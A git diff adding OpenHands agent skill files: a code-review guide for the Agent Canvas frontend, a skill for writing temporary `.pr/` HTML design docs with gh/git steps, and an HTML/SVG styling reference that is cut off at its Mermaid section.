diff --git a/.agents/skills/custom-codereview-guide.md b/.agents/skills/custom-codereview-guide.md
new file mode 100644
index 0000000000000000000000000000000000000000..38697679b2f10abc165cc678e475ff39360c2d7b
--- /dev/null
+++ b/.agents/skills/custom-codereview-guide.md
@@ -0,0 +1,201 @@
+---
+name: custom-codereview-guide
+description: Repository-specific review rules for the OpenHands Agent Canvas frontend.
+triggers:
+  - /codereview
+---
+
+# OpenHands Agent Canvas Code Review Guidelines
+
+This guide supplements the public `code-review` skill with rules specific to
+`OpenHands/OpenHands`, the Agent Canvas frontend. Read `AGENTS.md` first; it is
+the detailed source of truth for current architecture and test conventions.
+
+Be direct and constructive. Review correctness and architecture, not formatting
+that lint or the compiler already checks.
+
+## Review Decision
+
+- Submit exactly one review: **APPROVE** or **COMMENT**. Never use
+  **REQUEST_CHANGES**.
+- Default to **APPROVE** when there are no important findings. Nitpicks and
+  optional cleanup are not reasons to withhold approval.
+- Use **COMMENT** for correctness, security, architecture, missing evidence, or
+  unmet acceptance criteria. Let a human maintainer make the blocking decision.
+- Do not approve changes that can affect agent or benchmark behavior—prompts,
+  tool selection, conversation payloads, terminal behavior, planning, memory,
+  or evaluation paths—without human review and appropriate lightweight evals.
+- Read the linked issue and include a compact checklist covering each acceptance
+  criterion. Meeting the checklist is necessary but does not replace review for
+  regressions, security, or maintainability.
+
+## Repository Ownership
+
+Put behavior in the repository that owns it:
+
+| Repository                     | Owns                                                                                                            |
+| ------------------------------ | --------------------------------------------------------------------------------------------------------------- |
+| `OpenHands/OpenHands`          | Agent Canvas UI, frontend state, backend selection, frontend service integration, and local-stack orchestration |
+| `OpenHands/software-agent-sdk` | Agent Server, agents, tools, conversations, events, workspaces, and the canonical server API                    |
+| `OpenHands/typescript-client`  | Browser-compatible typed access to the Agent Server API                                                         |
+| `OpenHands/extensions`         | Reusable skills, plugins, and integrations                                                                      |
+| `OpenHands/automation`         | Scheduling, webhooks, run history, and automation dispatch                                                      |
+
+The normal dependency direction is Agent Server contract → TypeScript client →
+Canvas. Flag raw endpoint reimplementations, Canvas-local copies of server
+contracts, and changes opened in the wrong repository.
+
+## Architecture That Guides Agents
+
+Agents tend to copy the nearest pattern and choose the shortest compiling path.
+Review the codebase as part of the product surface that guides those choices:
+
+1. **Make the conventional path cheapest.** New work should naturally reuse a
+   named hook, service, store, or feature module instead of adding another branch
+   to a shared root.
+2. **Fail forbidden dependencies mechanically.** Repeated review guidance should
+   become a lint rule, compiler boundary, or architecture test. Do not grow this
+   document when a small executable guard would be clearer.
+3. **Give durable state one obvious writer.** A backend setting, consent value,
+   conversation cache entry, or persisted browser value should have one named
+   owner. Flag second writers and component-local mirrors of authoritative state.
+4. **Prefer owned feature files over shared switches.** Product work should
+   usually extend a feature-owned module. Shared registries and root conditionals
+   need a concrete reason.
+5. **Keep exceptions narrow and visible.** Exceptions belong in a small allowlist
+   next to the guard that enforces the rule and should be reviewed as architecture
+   changes.
+
+Treat “deep module” as a design heuristic, not a line-count target. A good module
+has a narrow, stable interface and hides cohesive complexity. Do not split a file
+merely because it is long, and do not create layers that only rename or forward
+arguments. Prefer a small pure seam when it removes duplicated decisions, makes
+ownership explicit, or enables focused tests.
+
+### React effects
+
+`useEffect` is for synchronizing React with an external system. Flag effects used
+to:
+
+- derive render data from props or state;
+- respond to a user action that can run in the event handler;
+- initialize a value that belongs in a lazy state initializer;
+- mirror one store or cache into another component state value; or
+- repair ordering created by competing writers.
+
+An effect is not automatically wrong. Subscription, browser API, timer, and
+network synchronization still belong in effects when cleanup and dependency
+semantics are explicit.
+
+## Blocking Architecture Checkpoints
+
+### Agent Server and Cloud API access
+
+`src/api/no-direct-agent-server-calls.test.ts` is the executable source of truth.
+Do not approve new raw `fetch`, `axios`, shared `openHands`, or low-level HTTP
+client access to Agent Server endpoints. Use `@openhands/typescript-client` with
+the options from `src/api/agent-server-client-options.ts`.
+
+Cloud and runtime-sandbox requests must go through `callCloudProxy`; runtime
+requests must provide the correct `hostOverride` and authentication mode. Review
+changes to the guard's allowlist as architecture changes. Do not copy its current
+entries into this guide—the test should remain the one authoritative list.
+
+### Event wire contracts
+
+The SDK event model is the wire authority, the TypeScript client mirrors it, and
+Canvas consumes the published client type. Do not approve Canvas-local
+redeclarations, partial intersections, module augmentation, or presentation
+fields added to wire-event interfaces.
+
+A contract change should land in this order:
+
+1. SDK model/schema and serialization coverage.
+2. TypeScript-client mirror derived from the SDK payload.
+3. Published client release.
+4. Canvas consumption and rendering/telemetry coverage.
+
+Canvas-only presentation state belongs in a separate view model keyed by event
+identity.
+
+### Telemetry and durable frontend state
+
+- `src/services/telemetry.ts` is the only owner of the Canvas PostHog client.
+- React events go through typed functions in `src/hooks/use-tracking.ts`; components
+  must not call PostHog directly.
+- Consent rendering uses the telemetry consent external store, not mirrored local
+  state. `setTelemetryConsent` remains the single consent controller.
+- A business milestone has one canonical capture. Flag duplicate conditional
+  captures.
+- For other durable values, prefer the existing named service/store/hook and flag
+  new storage writes from arbitrary components.
+
+## Dependencies and Releases
+
+- Direct dependencies are exact-pinned. Keep `package.json` and
+  `package-lock.json` synchronized through npm; do not hand-edit one side only.
+- Treat changes to dependency exemptions, git pins, and security overrides as
+  reviewable policy changes. `__tests__/package-library.test.ts` is the executable
+  source of truth for allowed specs.
+- Scrutinize newly published third-party dependency versions for supply-chain
+  risk. First-party OpenHands packages are exempt from a waiting period but not
+  from contract and release-order review.
+- Package version changes belong in explicit release PRs and must match the
+  release workflow expectations.
+
+## Testing and Evidence
+
+- Require evidence proportional to the behavior changed. For UI behavior, use a
+  screenshot or video from the real app. For CLI, API, or scripts, require the
+  exact runtime command and observed result.
+- Runtime and user-visible bug fixes require before-and-after evidence through
+  the real production-facing path. The before evidence must reproduce the bug on
+  the base branch or released version; the after evidence must repeat the same
+  setup on the PR head and show the corrected behavior. Include exact commands,
+  relevant output, and screenshots or video when the behavior is visual.
+- For lifecycle fixes, evidence must also verify the resulting process or resource
+  state—for example, the parent exit code and whether child services or listening
+  ports remain after shutdown.
+- Unit and integration tests are regression proof, not a substitute for live
+  evidence. If required live evidence is missing, submit **COMMENT**, not
+  **APPROVE**, and identify the exact production-facing verification still needed.
+- Prefer tests that exercise real logic and observable state. Do not reward mocks
+  that only prove another mock was called.
+- Keep tests focused: one meaningful assertion path per behavior, no duplicated
+  coverage of library behavior, and no brittle presentation-only snapshots.
+- Follow the test routing in `AGENTS.md`. The mock-LLM, Docker mock-LLM, and
+  live LLM-backed E2E suites run after changes reach `main`, not from PR labels.
+  If a risky PR needs pre-merge E2E evidence, recommend manually dispatching the
+  relevant workflow against the PR branch.
+- Never broaden live E2E triggers or secret exposure for convenience.
+
+## Review Context Integrity
+
+Before submitting the review, compare its summary and every finding against the
+current PR title, changed-file manifest, linked issues, and acceptance criteria.
+If the review describes files, behavior, issues, or release paths that are not in
+that context, stop and re-read the PR rather than submitting stale or mismatched
+feedback. Do not approve until this final context check passes.
+
+## What Not to Comment On
+
+Do not leave review comments for:
+
+- formatting or minor style that tooling handles;
+- optional “nice to have” refactors unrelated to the change;
+- praise-only observations—approve instead;
+- extra tests for straightforward data/config changes when existing checks cover
+  the risk; or
+- temporary `.pr/` artifacts, which are cleaned up by repository automation.
+
+When raising a finding, trace the relevant call or data flow far enough to show
+the concrete failure mode. Prefer one high-signal comment over several symptoms
+of the same ownership problem.
+
+## Communication Style
+
+- Be concise, specific, and friendly.
+- Explain the user-visible or architectural consequence.
+- Suggest the smallest viable correction.
+- Use GitHub suggestion syntax for local fixes.
+- If the PR is sound, approve it without manufacturing feedback.
diff --git a/.agents/skills/pr-design-doc/SKILL.md b/.agents/skills/pr-design-doc/SKILL.md
new file mode 100644
index 0000000000000000000000000000000000000000..62f02c6a675a1c851f906bf180c177cf0aea5865
--- /dev/null
+++ b/.agents/skills/pr-design-doc/SKILL.md
@@ -0,0 +1,168 @@
+---
+name: pr-design-doc
+description: >
+  For a non-trivial pull request, write a self-contained HTML design doc under the
+  temporary `.pr/` directory and link a visibility-appropriate preview in the PR
+  description, so maintainers grasp the proposal at a glance - code/API design, and the
+  before/after of the change, grounded to real code. Use when opening or updating a
+  non-trivial PR, or when the user says "add a design doc", "document this PR for
+  reviewers", "show the before/after", "make the design reviewable", or "write the .pr/
+  page".
+triggers:
+- /pr-design-doc
+- /design-doc
+license: MIT
+metadata:
+  tags: pull-request, design-doc, html, review, before-after, htmlpreview
+---
+
+# pr-design-doc - a reviewable design doc for a non-trivial PR
+
+A diff shows *what changed line by line*. It does not show *the design*: the shape of the
+change, the API before and after, and why this approach. Reviewers reconstruct that by
+hand, slowly. The scarce resource is the maintainer's attention and trust budget - not the
+agent's effort. Spend extra effort to hand them **one self-contained HTML page** that
+conveys the **big picture** and the **before → after core difference**, with every claim
+**clickable back to the real code**, then link it from the PR description.
+
+This is the same craft as a "show me this change" explainer, aimed at one job: making a
+non-trivial PR easy to review.
+
+## When to use it
+
+- Opening or updating a **non-trivial** PR: new/changed public API, a new module or
+  subsystem, a behavior change in core logic, a migration, or anything a reviewer can't
+  fully judge from the diff in a couple of minutes.
+- **Skip it** for trivial PRs - a typo, a one-line guard, a dependency bump, a docs tweak, a simple bug fix.
+  A design doc adds more to review. Use judgment; if the diff *is* the explanation, don't add a
+  page.
+
+## The `.pr/` workflow
+
+Use the temporary **`.pr/`** directory for PR-only artifacts. Before relying on automatic
+cleanup, verify that the target repository has an enabled
+`.github/workflows/pr-artifacts.yml` workflow that removes `.pr/` after approval.
+
+- Same-repository PR with verified cleanup workflow: the workflow removes `.pr/` after
+  approval.
+- Fork PR, or repository without a verified cleanup workflow: remove `.pr/` manually before
+  merge.
+
+The design doc is a review aid that lives with the branch while the PR is open. It must not
+ship in the merged tree.
+
+## Workflow
+
+1. **Check out and verify the PR head.** Do not write or commit the design doc from the base
+   branch or an unrelated checkout. Start with a clean worktree, then inspect and check out
+   the PR:
+   ```bash
+   gh pr view <n> --json title,body,url,baseRefName,baseRefOid,headRefName,headRefOid,headRepository,headRepositoryOwner,isCrossRepository,files,additions,deletions
+   gh pr checkout <n>
+   git rev-parse HEAD
+   gh pr view <n> --json headRefOid --jq .headRefOid
+   ```
+   The final two SHAs must match before you continue. If they do not, stop and fix the
+   checkout. Compute the merge-base SHA with
+   `git merge-base <baseRefOid> <headRefOid>`. Group changed files by area and keep both the
+   merge-base SHA and head SHA for source links.
+
+2. **Read both sides of each logical file.** Compare
+   `git show <merge-base-sha>:<path>` with the verified head. Capture the
+   **function-level** behavioral difference - what the code *did* vs *does now*.
+   - new file → no "before"; one "after" diagram + a line on the role it adds.
+   - deleted file → "before" diagram + who/what takes over.
+   - edited file → a before/after pair, with the delta highlighted.
+
+3. **Classify each file.** *Logic* change (behavior moved) → draw before/after. *Mechanical*
+   change (rename, constant, config, import move) → a one-line `before → after` row, no
+   diagram. Don't dilute the signal by drawing mechanical edits.
+
+4. **If the change is an API change, lead with the API.** Show the signature/schema/type
+   **before and after** side by side (function signature, endpoint + payload, config field,
+   event shape). Name the compatibility impact plainly: additive, breaking, or behind a flag.
+
+5. **Find the cross-file story.** If one call chain threads several files, draw a single
+   **overview** before/after at the top; per-file cards drill in.
+
+6. **Build the page** per [`references/html-craft.md`](references/html-craft.md) - one
+   self-contained, offline, editorial HTML file with hand-drawn SVG figures. Save it to
+   the repo's `.pr/` directory, e.g. `.pr/design.html` (or `.pr/<topic>.html`). Before
+   writing, reject a symlink at `.pr` or at the exact output path; never follow a
+   branch-controlled symlink outside the worktree.
+   ```bash
+   test ! -L .pr && test ! -L .pr/design.html
+   mkdir -p .pr
+   ```
+
+7. **Commit under `.pr/`, push to the verified PR head, and link it.** Confirm that the push
+   remote resolves to `headRepository.nameWithOwner`; never push the artifact to the base
+   repository's default branch.
+   ```bash
+   git add .pr/design.html
+   git commit -m "docs(.pr): design doc for <PR topic>"
+   git push <head-repo-remote> HEAD:<headRefName>
+   ```
+   Query the base repository's visibility before choosing the link:
+   ```bash
+   gh repo view <base-owner>/<base-repo> --json visibility,url
+   ```
+   - **Public repository:** add an htmlpreview link near the top of the PR description,
+     pointing at the **fork and branch the PR is opened from** (it renders before merge):
+     ```
+     📄 Design doc: https://htmlpreview.github.io/?https://github.com/<fork-owner>/<repo>/blob/<pr-branch>/.pr/design.html
+     ```
+   - **Private or internal repository:** link the access-controlled GitHub blob and include
+     local download/open instructions, or use an existing access-controlled artifact
+     service. Never send the document through htmlpreview or another public host.
+
+## What the page contains
+
+1. **What changed (decision first)** - one paragraph: the intent, net effect, and why the
+   reviewer should care. Put the highest-impact conclusion, risk, or API-compat note in a
+   `★` callout, with the most important changed `path:line` nearby. Stats (`N files ·
+   +A / −D`) are context, not the lead. If there's a cross-file flow, the **overview
+   before/after SVG** goes here.
+2. **API before → after** (when the PR changes an interface) - signatures/schemas/types side
+   by side, with the compatibility verdict stated.
+3. **Left rail / index** - changed files grouped by area, each tagged (🟢 added · 🔴 removed ·
+   ✏️ changed · ⚙️ mechanical) with +/− counts; click to jump.
+4. **Per-file cards** - for each logical file: a claim-carrying title, a one-line summary of
+   how its behavior changed, **before/after** diagrams with real symbol names + `file:line`
+   (changed nodes in orange), and the diff in a collapsed `<details>`. Mechanical files get a
+   small `before → after` table, no diagram.
+5. **(optional) Risk / follow-ups** - only if grounded in what you read.
+
+## Non-negotiable principles
+
+1. **Optimize for scarce reviewer attention.** The first screen answers, in ~15 seconds:
+   what this PR does, whether it's risky, where to look first, and what evidence backs the
+   claim. Lead with the conclusion, not your process.
+2. **Show the difference, not just the after.** For any logic or API change, draw **before**
+   and **after** and make the *delta* visually loud (color + line style). The contrast is
+   the product.
+3. **Ground everything to code, beside the claim.** Every box, node, and sentence names a
+   real symbol + `path:line`, and links to the correct source revision where possible: the
+   merge-base SHA for before-state evidence and the verified head SHA for after-state
+   evidence. One click from "this changed" to the exact code.
+4. **Hand-draw the carrying diagrams.** Prefer bespoke inline SVG for the before/after that
+   makes the argument; Mermaid is fine only for quick auxiliary graphs.
+5. **Self-contained & offline.** One HTML file, inline CSS/SVG, no external scripts or
+   assets, opens by double-click, and survives being copied to another machine.
+6. **`.pr/` only, and temporary.** The doc is a review aid, not project docs. Keep it in
+   `.pr/` and ensure it is removed before merge. Rely on automatic cleanup only when the
+   repository's workflow has been verified; otherwise remove it manually. Do not move design
+   HTML into `docs/` or ship it in the merged tree.
+
+## Anti-patterns
+
+- ❌ Dumping the raw diff / file tree and calling it a "design doc" - adds nothing over the
+  PR page.
+- ❌ Empty nodes ("process data", "handle request") - every node is a real symbol +
+  location.
+- ❌ Only the after-state when something changed - reviewers want the *contrast*.
+- ❌ A design doc on a trivial PR - noise. Skip it.
+- ❌ Committing the HTML outside `.pr/` (e.g. `docs/`), where it would merge into `main`.
+- ❌ Publishing a private-repository design doc through htmlpreview, GitHub Pages, or another
+  public host. Use the private/local preview path in the craft reference. Use GitHub Pages
+  only with explicit user authorization after verifying private Pages access control.
diff --git a/.agents/skills/pr-design-doc/references/html-craft.md b/.agents/skills/pr-design-doc/references/html-craft.md
new file mode 100644
index 0000000000000000000000000000000000000000..974a9c649061d8124df6b2a6ec699c8c23c495e2
--- /dev/null
+++ b/.agents/skills/pr-design-doc/references/html-craft.md
@@ -0,0 +1,322 @@
+# html-craft - how to build the page
+
+Shared craft for every show-me dimension. One self-contained, offline, editorial HTML
+page with hand-drawn SVG figures and code-grounded claims.
+
+## The look (editorial document, light theme)
+
+Calm, readable, document-like - not a dark dashboard. Skeleton:
+
+```html
+<!doctype html><html lang="en"><head><meta charset="utf-8">
+<meta name="viewport" content="width=device-width, initial-scale=1">
+<title>{{Title}}</title>
+<style>
+  :root{
+    /* single source of truth - prose AND inline-SVG fills both read these (see SVG section) */
+    --fg:#1a1a1a; --muted:#5a5a5a; --subtle:#8a8a82;      /* 3 text weights: title · detail · sublabel */
+    --bg:#fdfdfb; --card:#ffffff; --elevated:#f7f6f1;     /* page · node fill · raised band/pill */
+    --accent:#2b4eaa; --accent-soft:#e6ecfa;
+    --rule:#e2e2dc; --rule-strong:#bdbcb4;                /* hairline · emphasized border */
+    --code-bg:#f3f1ec; --warn:#b25b0e; --ok:#2f7a3a; --crit:#a02020;
+    --mono:ui-monospace,SFMono-Regular,Menlo,Consolas,monospace;
+    --sans:-apple-system,BlinkMacSystemFont,"Segoe UI",Inter,Helvetica,Arial,sans-serif;
+  }
+  *{box-sizing:border-box} html,body{margin:0;background:var(--bg);color:var(--fg);font-family:var(--sans)}
+  body{line-height:1.6;font-size:16px}
+  .wrap{display:grid;grid-template-columns:240px minmax(0,1fr);gap:48px;max-width:1180px;margin:0 auto;padding:32px 28px 96px}
+  nav.toc{position:sticky;top:24px;align-self:start;font-size:13px}
+  nav.toc h2{font-size:11px;font-weight:700;letter-spacing:.12em;text-transform:uppercase;color:var(--muted);margin:0 0 10px}
+  nav.toc ol{list-style:none;padding:0;margin:0;counter-reset:toc}
+  nav.toc li{counter-increment:toc;margin:4px 0}
+  nav.toc li::before{content:counter(toc) ". ";color:var(--muted)}
+  nav.toc a{color:var(--fg);text-decoration:none} nav.toc a:hover{color:var(--accent)}
+  header.title{border-bottom:1px solid var(--rule);padding-bottom:22px;margin-bottom:28px}
+  header.title .eyebrow{font-size:11px;letter-spacing:.14em;text-transform:uppercase;color:var(--accent);font-weight:700}
+  header.title h1{font-size:34px;margin:6px 0 4px;letter-spacing:-.01em}
+  header.title .sub{color:var(--muted);max-width:740px}
+  h2{font-size:22px;margin:44px 0 10px} h2 .num{color:var(--muted);font-weight:500;margin-right:8px}
+  h3{font-size:16px;margin:22px 0 8px}
+  code{font-family:var(--mono);font-size:.88em;background:var(--code-bg);padding:1px 5px;border-radius:3px}
+  pre{font-family:var(--mono);font-size:13px;background:var(--code-bg);padding:14px 16px;border-radius:6px;overflow-x:auto;border:1px solid var(--rule)}
+  pre code{background:transparent;padding:0}
+  .kw{color:#7048a8}.str{color:var(--ok)}.com{color:var(--subtle);font-style:italic}
+  table{border-collapse:collapse;width:100%;font-size:14px;margin:12px 0}
+  th,td{text-align:left;padding:8px 10px;border-bottom:1px solid var(--rule);vertical-align:top}
+  th{font-weight:600;background:var(--code-bg)}
+  .callout{border-left:3px solid var(--accent);background:var(--accent-soft);padding:10px 14px;margin:14px 0;border-radius:0 4px 4px 0;font-size:14.5px}
+  .callout.warn{border-color:var(--warn);background:#fbf1e6} .callout.note{border-color:var(--muted);background:#f3f1ec}
+  .fig{margin:18px 0 22px}
+  .fig svg{display:block;max-width:100%;height:auto;background:#fff;border:1px solid var(--rule);border-radius:6px}
+  .fig figcaption{font-size:13px;color:var(--muted);margin-top:6px;text-align:center}
+  a.src{font-family:var(--mono);font-size:12px;color:var(--accent);text-decoration:none;border-bottom:1px dotted var(--accent)}
+  details{border:1px solid var(--rule);border-radius:6px;margin:12px 0}
+  details>summary{cursor:pointer;padding:8px 12px;color:var(--muted);font-size:13px;list-style:none}
+  details>summary::-webkit-details-marker{display:none}
+  details>summary::before{content:"▸ "} details[open]>summary::before{content:"▾ "}
+  .ba{display:grid;grid-template-columns:1fr 1fr;gap:16px;align-items:start}
+  @media(max-width:760px){.wrap{grid-template-columns:1fr}.ba{grid-template-columns:1fr}}
+</style></head><body>
+<div class="wrap">
+  <nav class="toc"><h2>Contents</h2><ol>
+    <li><a href="#sec1">…</a></li>
+  </ol></nav>
+  <main>
+    <header class="title"><div class="eyebrow">{{kind}}</div><h1>{{Title}}</h1>
+      <p class="sub">{{one-paragraph mental model - the big picture in 2-3 sentences}}</p></header>
+    <section id="sec1"><h2><span class="num">1</span>…</h2> … </section>
+  </main>
+</div></body></html>
+```
+
+Numbered sticky TOC + one-paragraph mental model up top + sectioned body. No JS needed
+for this shell.
+
+## First screen: 15-second orientation
+
+The reader's attention is the budget. The first viewport should answer four questions
+without requiring a full read:
+
+1. **What is this?** A one-paragraph mental model in the title subtitle.
+2. **Why does it matter?** The highest-impact conclusion, risk, or action in a `★`
+   callout near the top.
+3. **Where should I jump?** A numbered sticky TOC whose labels carry information, not
+   just categories.
+4. **Why should I trust it?** Nearby source links (`path:line`, test, command, commit,
+   or fixture) for the first substantive claim.
+
+Do not open with "I read these files" or a chronological work log. Start with the
+reader's decision: what changed, how the system works, what path matters, or where to
+look next. Put methods, command output, and raw diffs behind `<details>` unless they
+are the point of the report.
+
+## Skimmable structure
+
+Design the page so a busy reader can scan headings, captions, callouts, and tables
+before choosing where to dive:
+
+- **Headings make claims.** Prefer "Writes only cross the queue" over "Architecture",
+  when the section has a specific finding. Generic labels are acceptable only when the
+  title/subtitle already carries the finding.
+- **One paragraph, one judgment.** Keep paragraphs short; split when a sentence starts
+  proving a different point.
+- **Number parallel points.** If you say "three rules" or "two risks", number them so
+  the reader can reconcile the claim with the list.
+- **Use tables only for stable comparison axes.** A table should reduce cognitive
+  work, not force subtle judgments into neat boxes.
+- **Make captions do work.** A caption states the takeaway of the figure, not merely
+  its type.
+
+## Callouts (give them semantic types)
+
+The `.callout` / `.callout.warn` / `.callout.note` styles aren't interchangeable - assign
+each a fixed job and the reader learns to skim by them:
+
+- **`★` key takeaway** (accent) - the one load-bearing sentence of a section. At most one per
+  section; it's what the reader should remember if they read nothing else.
+- **`ⓘ` note** (`.note`, muted) - a reading hint for a figure, an aside, a "why we did it this
+  way" that isn't on the critical path.
+- **`⚠` warning** (`.warn`) - a boundary, a risk, a gotcha, a guardrail: trust boundaries,
+  "this does NOT do X", "never commit the secret". Reserve it for things that bite.
+
+Don't let callouts become wallpaper - if every paragraph is a colored box, none of them carry
+weight. A glyph prefix (`★ ⓘ ⚠`) makes the type legible before the reader parses the text.
+
+## Hand-drawn SVG figures (the diagrams that carry the argument)
+
+Draw bespoke inline `<svg viewBox="0 0 W H">` with a `<defs>` for arrow markers and a
+scoped `<style>`. You place every box → before/after stays aligned, legible, and the
+delta is unmistakable. Semantic class system:
+
+```html
+<svg viewBox="0 0 960 460" role="img" aria-labelledby="f1-t f1-d">
+ <title id="f1-t">moduleA call path - before vs after</title>
+ <desc id="f1-d">Old direct call is replaced by a routed path through the new resolver.</desc>
+ <defs>
+  <!-- one marker per semantic color; marker fills read the page palette -->
+  <marker id="arr" viewBox="0 0 10 10" refX="9" refY="5" markerWidth="8" markerHeight="8" orient="auto-start-reverse">
+    <path d="M0,0 L10,5 L0,10 Z" fill="var(--subtle)"/></marker>
+  <marker id="arr-chg" viewBox="0 0 10 10" refX="9" refY="5" markerWidth="8" markerHeight="8" orient="auto-start-reverse">
+    <path d="M0,0 L10,5 L0,10 Z" fill="var(--warn)"/></marker>
+  <!-- subtle "elevated" wash for the box that is the figure's subject -->
+  <linearGradient id="subj" x1="0" y1="0" x2="0" y2="1">
+    <stop offset="0" stop-color="var(--accent)" stop-opacity=".10"/>
+    <stop offset="1" stop-color="var(--accent)" stop-opacity=".02"/></linearGradient>
+  <style>
+    /* every fill/stroke is a --token: the palette lives once, in :root - prose & figures can't drift */
+    .existing{fill:var(--code-bg);stroke:var(--subtle);stroke-width:1.4;stroke-dasharray:5 3} /* before */
+    .ex-title{font:700 13px var(--sans);fill:var(--muted)} .ex-detail{font:11.5px var(--mono);fill:var(--subtle)}
+    .new{fill:var(--accent-soft);stroke:var(--accent);stroke-width:2}                         /* after / added */
+    .new-title{font:800 13px var(--sans);fill:var(--accent)} .detail{font:11.5px var(--mono);fill:var(--fg)}
+    .edge{stroke:var(--subtle);stroke-width:1.5;stroke-dasharray:5 3;fill:none}
+    .edge-chg{stroke:var(--warn);stroke-width:1.8;fill:none;stroke-dasharray:5 3}             /* the delta */
+    .lbl{font:600 10.5px var(--mono);fill:var(--accent)} .gap{font:700 11.5px var(--mono);fill:var(--warn)}
+  </style>
+ </defs>
+ <!-- ===== BEFORE: direct call ===== -->
+ <g>
+  <rect class="existing" x="40" y="60" width="180" height="74" rx="6"/>
+  <text class="ex-title"  x="130" y="90"  text-anchor="middle">moduleA.fn()</text>
+  <text class="ex-detail" x="130" y="110" text-anchor="middle">old behavior · a.py:42</text>
+ </g>
+ <!-- ===== AFTER: routed call (the change) ===== -->
+ <g>
+  <rect class="new" x="300" y="60" width="180" height="74" rx="6"/>
+  <text class="new-title" x="390" y="90" text-anchor="middle">moduleA.fn()</text>
+  <path class="edge-chg" d="M220,97 L300,97" marker-end="url(#arr-chg)"/>
+  <!-- pill behind an on-edge label so it stays legible over the line -->
+  <rect x="236" y="79" width="48" height="16" rx="5" fill="var(--elevated)" stroke="var(--rule)"/>
+  <text class="gap" x="260" y="91" text-anchor="middle">new path</text>
+ </g>
+</svg>
+```
+
+**Five craft moves in that skeleton - they're what make a figure read like a designed
+diagram instead of a sketch:**
+- **Drive every fill/stroke from `var(--token)`.** Define the palette once in `:root`; the
+  SVG references it. One source of truth - prose and figures stay in lockstep, and a palette
+  tweak reflows every diagram. Never paste a raw hex into a figure.
+- **Three text weights, always the same three.** `--fg` for the node title (the real symbol),
+  `--muted` for the detail line, `--subtle` for sublabels/`path:line`. The eye sorts the
+  hierarchy without reading. Mixing weights ad-hoc is what makes a diagram look noisy.
+- **`<title>` + `<desc>` with `aria-labelledby`.** Not decoration: it's the figure's own
+  caption-of-record (screen readers, and a note-to-self of what the figure claims).
+- **A gradient wash marks the subject.** The one container the figure is *about* gets the
+  `#subj` wash (accent 10%→2%); everything else is flat. The reader's eye lands on the
+  protagonist before reading a word.
+- **`<g>` groups + `<!-- section -->` comments + on-edge label pills.** Author the SVG like
+  code: one `<g>` per logical unit, a comment naming it, and a small `rect` pill behind any
+  label that sits on a line (a bare label over an edge turns to mush). It stays editable when
+  you revise the layout three times.
+
+**The before/after encoding (use consistently):**
+- **dashed gray** (`.existing`, `.edge` muted) = what was there before / unchanged context.
+- **solid accent** (`.new`) = what this change adds / the after-state.
+- **orange dashed** (`.edge-chg`, `.gap`) = the *delta* - the new/changed flow, the gap being filled. This is what the eye should land on.
+
+Node boxes carry a **title (real symbol) + a detail line (behavior + `file:line`)**, so the
+diagram is already half-grounded to code.
+
+Two ways to show before/after:
+1. **Side-by-side figures** in a `.ba` grid - `<figure>` "Before" | `<figure>` "After". Best when layouts differ a lot.
+2. **One overlaid figure** - existing nodes dashed-gray, new nodes/edges solid-accent + orange delta, in the same coordinate space. Best when the change is *additive* to an existing structure (most legible "what's new" read).
+
+## Caption every figure, and hint how to read the hard ones
+
+A figure with no caption makes the reader reverse-engineer your intent. Two cheap habits
+fix it:
+
+- **The `<figcaption>` states the takeaway, not a label.** Not "Architecture diagram" -
+  *"Requests never touch the DB directly; every write goes through the queue."* The caption
+  is the one sentence you'd say pointing at the figure. Number them (`Fig 3 ·`) and
+  **cross-reference between figures** (`state machine in Fig 2`, `evolve timing in Fig 5`) so
+  a multi-figure report reads as one system at different altitudes, not five loose pictures.
+- **For a figure with a non-obvious convention, add a one-line reading hint** in a `.callout.note`
+  right under it, naming the single thing that unlocks it: *"Every arrow enters or leaves the
+  bus - there are no agent-to-agent arrows, because the protocol is 'read/write the bus'."*
+  One sentence that says *how to look* saves the reader a minute of squinting. Put the hint in
+  the figure too when you can - an in-diagram `→ §3.2 / Fig 2` link (accent mono) turns the
+  picture into a table of contents.
+
+## Ground every claim to code (clickable)
+
+A picture the human can't verify is a liability. Make claims droppable to source:
+
+- Resolve both repository web bases explicitly. For a fork PR, before-state evidence belongs
+  to the base repository and merge-base SHA; after-state evidence belongs to the head
+  repository and verified head SHA. Query each with
+  `gh repo view <owner>/<repo> --json url`, then build links as
+  `https://github.com/<o>/<r>/blob/<sha>/<path>#L<n>`. A deleted file must link to the base
+  repository at the merge-base SHA; a newly added file has no before-state link.
+- Render locations as `<a class="src" href="{{blobURL}}">path:line</a>` in node detail lines, section text, and a per-component "source" link.
+- Rule: if a box can't be tied to a symbol+location, it's a *concept* box - style it differently and say so; don't fake a link.
+- Put evidence beside the claim it supports. The reader should not have to scroll to a
+  bibliography to verify a behavior statement, edge, risk, metric, or test result.
+- Commands count as evidence when behavior must be observed: show the command and the
+  relevant result near the claim, with full logs collapsed if noisy.
+
+### Grounding discipline (borrowed from DeepWiki)
+
+DeepWiki-style wikis enforce grounding hard - worth copying:
+
+- **Source manifest per section.** Open each major section / component card with a small
+  collapsed list of the exact files it's built from:
+  `<details><summary>Sources</summary> path/a.py · path/b.py …</details>`. The reader sees
+  what the claim rests on before trusting it.
+- **Cite after every substantive claim, diagram, table, and snippet.** Inline format:
+  `Sources: [path:start-end]` (range) or `[path:line]` (single), multiple allowed. A
+  section with no citations is a smell - either ground it or cut it.
+- **Solely from the code. Do not invent.** Every statement, box, edge, and number must be
+  derived from files you actually read - not from how "similar systems usually work." If
+  something important isn't in the code, say so explicitly rather than guessing. Mark genuine
+  inferences as inferences.
+- **Breadth check.** Decide if necessary, depending on PR. A "comprehensive" page that cites only 1-2 files is probably shallow -
+  pull in the related files (callers, callees, config, tests) until the picture is real.
+
+## Code excerpts (when shown)
+
+Keep them short and hand-highlight with spans (no JS highlighter): wrap keywords
+`<span class="kw">`, strings `<span class="str">`, comments `<span class="com">`.
+**Escape for the insertion context before wrapping** - source text is untrusted. In text
+nodes, escape `&`, `<`, and `>`. In quoted HTML or SVG attributes, additionally escape `"`
+as `&quot;` and `'` as `&#39;`; always quote attributes. For source URLs, percent-encode the
+dynamic owner, repository, and ref as URL path segments; encode each source-path segment
+separately and rejoin with `/`. Then attribute-escape the completed URL. Put long diffs/code
+inside `<details>` (collapsed). Escape every source-derived value
+inserted into HTML or SVG, including titles, symbol names, paths, labels, link text, and
+attribute values. Never treat source-derived text as markup.
+
+## Self-contained
+
+- One `.html` file. Inline all CSS and SVG. No build, no framework.
+- No external scripts, styles, fonts, images, or other assets. Besides breaking offline use,
+  third-party active content can read and disclose a private design document opened locally.
+
+## Mermaid (quick / auxiliary only)
+
